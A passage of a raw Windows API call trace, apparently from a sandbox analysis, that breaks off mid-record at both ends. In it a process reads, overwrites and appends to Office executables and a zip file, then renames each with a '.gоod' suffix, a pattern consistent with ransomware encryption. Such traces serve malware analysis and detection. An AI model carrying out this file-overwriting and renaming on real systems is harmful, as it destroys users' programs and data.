(hFile=0x63c) returned 0x1 [0170.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0170.528] GetFileType (hFile=0x63c) returned 0x1 [0170.528] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0170.529] ReadFile (in: hFile=0x63c, lpBuffer=0x333f5d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x333f5d8*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0170.530] CloseHandle (hObject=0x63c) returned 1 [0170.530] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SCANPST.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\SCANPST.EXE", lpFilePart=0x0) returned 0x3b [0170.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0170.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SCANPST.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\scanpst.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0170.530] GetFileType (hFile=0x63c) returned 0x1 [0170.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0170.530] GetFileType (hFile=0x63c) returned 0x1 [0170.530] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0xd4e8 [0170.530] WriteFile (in: hFile=0x63c, lpBuffer=0x3340850*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3340850*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0170.531] CloseHandle (hObject=0x63c) returned 1 [0170.531] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SCANPST.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\SCANPST.EXE", lpFilePart=0x0) returned 0x3b [0170.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0170.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SCANPST.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\scanpst.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0170.531] GetFileType (hFile=0x63c) returned 0x1 [0170.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0170.531] GetFileType (hFile=0x63c) returned 0x1 [0170.531] ReadFile (in: hFile=0x63c, lpBuffer=0x3342af0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3342af0*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0170.877] CloseHandle (hObject=0x63c) returned 1 [0170.877] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SCANPST.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\SCANPST.EXE", lpFilePart=0x0) returned 0x3b [0170.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0170.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SCANPST.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\scanpst.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0170.877] GetFileType (hFile=0x63c) returned 0x1 [0170.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0170.878] GetFileType (hFile=0x63c) returned 0x1 [0170.878] WriteFile (in: hFile=0x63c, lpBuffer=0x333c4f0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x333c4f0*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0170.878] CloseHandle (hObject=0x63c) returned 1 [0170.878] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SCANPST.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\SCANPST.EXE", lpFilePart=0x0) returned 0x3b [0170.878] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SCANPST.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\SCANPST.EXE.gоod", lpFilePart=0x0) returned 0x40 [0170.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0170.878] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SCANPST.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\scanpst.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe1ba7093, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe1ba7093, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x620ff320, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd4f8)) returned 1 [0170.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0170.878] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SCANPST.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\scanpst.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SCANPST.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\scanpst.exe.gоod")) returned 1 [0170.879] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SELFCERT.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\SELFCERT.EXE", lpFilePart=0x0) returned 0x3c [0170.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0170.879] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SELFCERT.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\selfcert.exe"), fInfoLevelId=0x0, lpFileInformation=0x34a43a8 | out: lpFileInformation=0x34a43a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe261555e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe261555e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe274684a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x66e70)) returned 1 [0170.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0170.880] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SELFCERT.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\SELFCERT.EXE", lpFilePart=0x0) returned 0x3c [0170.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0170.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SELFCERT.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\selfcert.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0170.881] GetFileType (hFile=0x63c) returned 0x1 [0170.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0170.881] GetFileType (hFile=0x63c) returned 0x1 [0170.881] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0170.881] ReadFile (in: hFile=0x63c, lpBuffer=0x34a47a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x34a47a0*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0170.882] CloseHandle (hObject=0x63c) returned 1 [0170.883] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SELFCERT.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\SELFCERT.EXE", lpFilePart=0x0) returned 0x3c [0170.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0170.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SELFCERT.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\selfcert.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0170.883] GetFileType (hFile=0x63c) returned 0x1 [0170.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0170.883] GetFileType (hFile=0x63c) returned 0x1 [0170.883] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x66e70 [0170.883] WriteFile (in: hFile=0x63c, lpBuffer=0x34a5a48*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x34a5a48*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0170.884] CloseHandle (hObject=0x63c) returned 1 [0170.884] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SELFCERT.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\SELFCERT.EXE", lpFilePart=0x0) returned 0x3c [0170.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0170.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SELFCERT.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\selfcert.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0170.885] GetFileType (hFile=0x63c) returned 0x1 [0170.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0170.885] GetFileType (hFile=0x63c) returned 0x1 [0170.885] ReadFile (in: hFile=0x63c, lpBuffer=0x34a7cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x34a7cf8*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0170.913] CloseHandle (hObject=0x63c) returned 1 [0170.913] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SELFCERT.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\SELFCERT.EXE", lpFilePart=0x0) returned 0x3c [0170.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0170.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SELFCERT.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\selfcert.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0170.913] GetFileType (hFile=0x63c) returned 0x1 [0170.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0170.913] GetFileType (hFile=0x63c) returned 0x1 [0170.913] WriteFile (in: hFile=0x63c, lpBuffer=0x34a6a60*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x34a6a60*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0170.913] CloseHandle (hObject=0x63c) returned 1 [0170.913] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SELFCERT.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\SELFCERT.EXE", lpFilePart=0x0) returned 0x3c [0170.913] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SELFCERT.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\SELFCERT.EXE.gоod", lpFilePart=0x0) returned 0x41 [0171.004] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0171.450] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0171.455] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SELFCERT.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\selfcert.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe261555e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe261555e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6214b656, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x66e80)) returned 1 [0171.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0171.908] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SELFCERT.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\selfcert.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SELFCERT.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\selfcert.exe.gоod")) returned 1 [0172.441] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SETLANG.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\SETLANG.EXE", lpFilePart=0x0) returned 0x3b [0172.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0172.442] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SETLANG.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\setlang.exe"), fInfoLevelId=0x0, lpFileInformation=0x34f4e00 | out: lpFileInformation=0x34f4e00*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe1de33ea, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe1de33ea, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe231a70f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfa70)) returned 1 [0172.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0172.443] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SETLANG.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\SETLANG.EXE", lpFilePart=0x0) returned 0x3b [0172.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0172.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SETLANG.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\setlang.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0172.443] GetFileType (hFile=0x650) returned 0x1 [0172.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0172.443] GetFileType (hFile=0x650) returned 0x1 [0172.443] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0172.443] ReadFile (in: hFile=0x650, lpBuffer=0x34f74f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x34f74f8*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0172.476] CloseHandle (hObject=0x650) returned 1 [0172.476] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SETLANG.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\SETLANG.EXE", lpFilePart=0x0) returned 0x3b [0172.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0172.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SETLANG.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\setlang.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0172.476] GetFileType (hFile=0x650) returned 0x1 [0172.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0172.477] GetFileType (hFile=0x650) returned 0x1 [0172.477] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0xfa70 [0172.477] WriteFile (in: hFile=0x650, lpBuffer=0x3588958*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3588958*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0172.477] CloseHandle (hObject=0x650) returned 1 [0172.478] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SETLANG.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\SETLANG.EXE", lpFilePart=0x0) returned 0x3b [0172.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0172.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SETLANG.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\setlang.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0172.478] GetFileType (hFile=0x650) returned 0x1 [0172.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0172.478] GetFileType (hFile=0x650) returned 0x1 [0172.478] ReadFile (in: hFile=0x650, lpBuffer=0x358ac28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x358ac28*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0172.575] CloseHandle (hObject=0x650) returned 1 [0172.575] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SETLANG.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\SETLANG.EXE", lpFilePart=0x0) returned 0x3b [0172.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0172.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SETLANG.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\setlang.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0172.575] GetFileType (hFile=0x650) returned 0x1 [0172.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0172.575] GetFileType (hFile=0x650) returned 0x1 [0172.575] WriteFile (in: hFile=0x650, lpBuffer=0x33af858*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x33af858*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0172.576] CloseHandle (hObject=0x650) returned 1 [0172.576] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SETLANG.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\SETLANG.EXE", lpFilePart=0x0) returned 0x3b [0172.576] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SETLANG.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\SETLANG.EXE.gоod", lpFilePart=0x0) returned 0x40 [0172.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0172.576] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SETLANG.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\setlang.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe1de33ea, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe1de33ea, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6313d207, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xfa80)) returned 1 [0172.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0172.576] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SETLANG.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\setlang.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SETLANG.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\setlang.exe.gоod")) returned 1 [0172.578] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\System.Windows.Controls.Theming.Toolkit.zip", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\System.Windows.Controls.Theming.Toolkit.zip", lpFilePart=0x0) returned 0x5b [0172.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0172.578] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\System.Windows.Controls.Theming.Toolkit.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\system.windows.controls.theming.toolkit.zip"), fInfoLevelId=0x0, lpFileInformation=0x341b790 | out: lpFileInformation=0x341b790*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x237626b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d08)) returned 1 [0172.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0172.634] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\System.Windows.Controls.Theming.Toolkit.zip", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\System.Windows.Controls.Theming.Toolkit.zip", lpFilePart=0x0) returned 0x5b [0172.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0172.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\System.Windows.Controls.Theming.Toolkit.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\system.windows.controls.theming.toolkit.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0172.635] GetFileType (hFile=0x650) returned 0x1 [0172.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0172.635] GetFileType (hFile=0x650) returned 0x1 [0172.635] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0172.635] ReadFile (in: hFile=0x650, lpBuffer=0x341bc68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x341bc68*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0172.636] CloseHandle (hObject=0x650) returned 1 [0172.636] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\System.Windows.Controls.Theming.Toolkit.zip", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\System.Windows.Controls.Theming.Toolkit.zip", lpFilePart=0x0) returned 0x5b [0172.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0172.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\System.Windows.Controls.Theming.Toolkit.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\system.windows.controls.theming.toolkit.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0172.637] GetFileType (hFile=0x650) returned 0x1 [0172.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0172.637] GetFileType (hFile=0x650) returned 0x1 [0172.637] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x2d08 [0172.637] WriteFile (in: hFile=0x650, lpBuffer=0x341cf60*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x341cf60*, lpNumberOfBytesWritten=0x1f59e728*=0x10, 